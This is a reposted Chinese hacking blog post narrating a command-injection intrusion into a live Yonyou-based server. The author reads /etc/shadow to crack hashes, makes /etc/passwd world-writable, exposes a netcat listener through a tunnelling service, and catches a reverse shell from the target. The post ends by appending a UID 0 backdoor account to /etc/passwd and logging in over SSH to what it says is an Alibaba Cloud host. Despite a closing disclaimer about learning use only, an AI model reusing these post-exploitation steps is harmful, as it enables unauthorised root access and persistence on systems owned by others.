实战|记一次实战远程命令执行漏洞并提权

华盟原创文章投稿奖励计划

实战|记一次实战远程命令执行漏洞并提权

某站用友的命令执行漏洞,测试print hello发现可以执行命令

实战|记一次实战远程命令执行漏洞并提权

whami 和id 都查一波权限,发现是root,权限这么大,很好搞啊

实战|记一次实战远程命令执行漏洞并提权

ps -ef|grep sshd 查一波 发现可以ssh连接,直接useradd 用户,但是整个shell无法给用户添加密码,无法远程登录,怎么搞,直接读shadow哈希,爆破密码实战|记一次实战远程命令执行漏洞并提权实战|记一次实战远程命令执行漏洞并提权爆破无结果,头大,怎么搞,思考5分钟,可以直接写passwd啊,试一波实战|记一次实战远程命令执行漏洞并提权再次查看shadow 居然没写进去,难道权限不对,ls -alrt /etc/passwd 发现权限是544 ,直接chmod 777 /etc/passwd 改权限,继续写,依然写不进去,换了各种姿势,都不行,难住我了,突然想起了nc反弹,一般linux都装有nc,这个有没有,查一波实战|记一次实战远程命令执行漏洞并提权果然不错,有nc,通过dnslog查一下是否有外连实战|记一次实战远程命令执行漏洞并提权实战|记一次实战远程命令执行漏洞并提权能ping通,果然能外连,那就可以通过nc反弹搞一波了,本地的攻击机在内网,内网穿透一波我一般用https://www.uulap.com/ 大家可以试试将本地的6666端口映射到公网实战|记一次实战远程命令执行漏洞并提权本地建立监听 nc -l -n -v -p 6666实战|记一次实战远程命令执行漏洞并提权让目标机进行nc反弹实战|记一次实战远程命令执行漏洞并提权果然反弹回来了,直接上命令,加用户echo ‘用户名:LRxM3nP3LOiYU:0:0:hello:/root:/bin/bash’ >> /etc/passwd实战|记一次实战远程命令执行漏洞并提权查看已经添加成实战|记一次实战远程命令执行漏洞并提权直接ssh连接,发现是阿里云的服务器实战|记一次实战远程命令执行漏洞并提权至此结束收工!

文章来源:巡安似海

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END

实战|记一次实战远程命令执行漏洞并提权

华盟知识星球入口

本文来源巡安似海,经授权后由华盟君发布,观点不代表华盟网的立场,转载请联系原作者。

发表评论